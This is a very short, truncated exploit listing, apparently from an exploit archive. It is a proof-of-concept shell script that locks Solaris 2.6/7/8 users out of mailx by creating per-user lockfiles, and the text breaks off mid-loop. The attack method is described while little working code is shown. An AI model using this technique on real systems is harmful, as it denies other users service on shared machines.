Solaris 2.6 / 7 / 8 - Lock Users Out of mailx

!/bin/sh Solaris mailx1 username.lock proof of theory makes mailx not work for all users except those that can erase the lockfile even so mailx will hang for a long time. Tested on Solaris 2.6, 7, 8 by Optyx http://www.uberhax0r.net echo "mailx-lock by optyx. http://www.uberhax0r.net" for x in ca...